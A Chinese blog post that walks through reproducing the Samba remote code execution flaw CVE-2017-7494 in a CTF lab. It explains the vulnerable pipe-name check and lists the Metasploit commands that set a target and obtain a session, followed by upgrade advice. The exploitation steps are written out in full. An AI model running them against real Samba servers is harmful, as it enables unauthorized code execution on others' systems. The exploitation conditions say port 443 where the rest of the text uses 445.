前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >[漏洞复现]Linux版的"永恒之蓝"

[漏洞复现]Linux版的"永恒之蓝"

作者头像
vFREE
发布2021-12-20 21:25:50
2.1K0
发布2021-12-20 21:25:50
举报
文章被收录于专栏:博客原创文章博客原创文章

1.漏洞信息

samba远程命令执行漏洞

CVE编号

CVE-2017-7494

影响版本

Samba 3.5.0 之后到4.6.4/4.5.10/4.4.14中间的所有版本

危害

命令执行/代码执行

级别

2.漏洞原理

samba运行连接一个远程的命名管道,并且会在连接前调用is_known_pipename()函数验证管道名称是否合法,但是该函数不会检查管道名称中的特殊字符,加载了使用该名称的动态链接库,导致攻击者可以构造一个恶意的动态链接库文件,执行任意代码,相当于Linux版的永恒之蓝

3.利用条件

目标开放了443端口 具有共享文件写入权限 共享目录的网络路径

4.漏洞复现

为了给大家提供一个漏洞复现的环境,找到了两个环境给大家使用

漏洞环境

环境一(自己搭建)

https://pan.baidu.com/s/1QueT0MgKqTK-4Y1pIThHSw (提取码:gc29)

环境二

http://ctf.vfree.ltd/challenges#easy_smb-113 (请勿破坏环境,谢谢大佬们~)

1.打开kali,打开命令行

2.打开msfconsole,由于metasploit已经集成了该漏洞利用的payload,所以直接用kali复现即可

3.payload名字是is_known_pipename,如果忘了或者不知道payload的路径,可以输入命令

代码语言:javascript
复制
search is_known_pipename

这个关键词去搜索payload路径,返回了

代码语言:javascript
复制
exploit/linux/samba/is_known_pipename

扩展一下知识,返回的路径第一个exploit就是攻击的意思,攻击模块,还有一个模块叫做auxiliary,意思是验证某个漏洞是否存在,这两个也是较为常用

使用攻击模块,键入以下命令

代码语言:javascript
复制
use exploit/linux/samba/is_known_pipename

键入命令查看需要配置的选项

代码语言:javascript
复制
show options

在Required一列中,凡是是标明yes的,都要填入信息,也就是说利用该漏洞,要填入RHOST和RPORT,由于环境二是搭建在docker上面的,我把445端口映射到10003端口,这里的445要修改成10003,执行一下两个命令

代码语言:javascript
复制
// set+Name+内容
set rhost ctf.vfree.ltd
set rport 10003

然后在使用show options去查看是否设置成功

可以看到已经设置成功,接下来使用

代码语言:javascript
复制
exploit

命令发起攻击

稍等片刻,如果出现了session 1的字样则代表攻击成功

执行命令验证

攻击成功

5.漏洞修复

修复建议

修复建议

升级samba到4.6.4/4.5.10/4.4.14甚至更高的版本

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1.漏洞信息
  • 2.漏洞原理
  • 3.利用条件
  • 4.漏洞复现
  • 5.漏洞修复
相关产品与服务
容器服务
腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档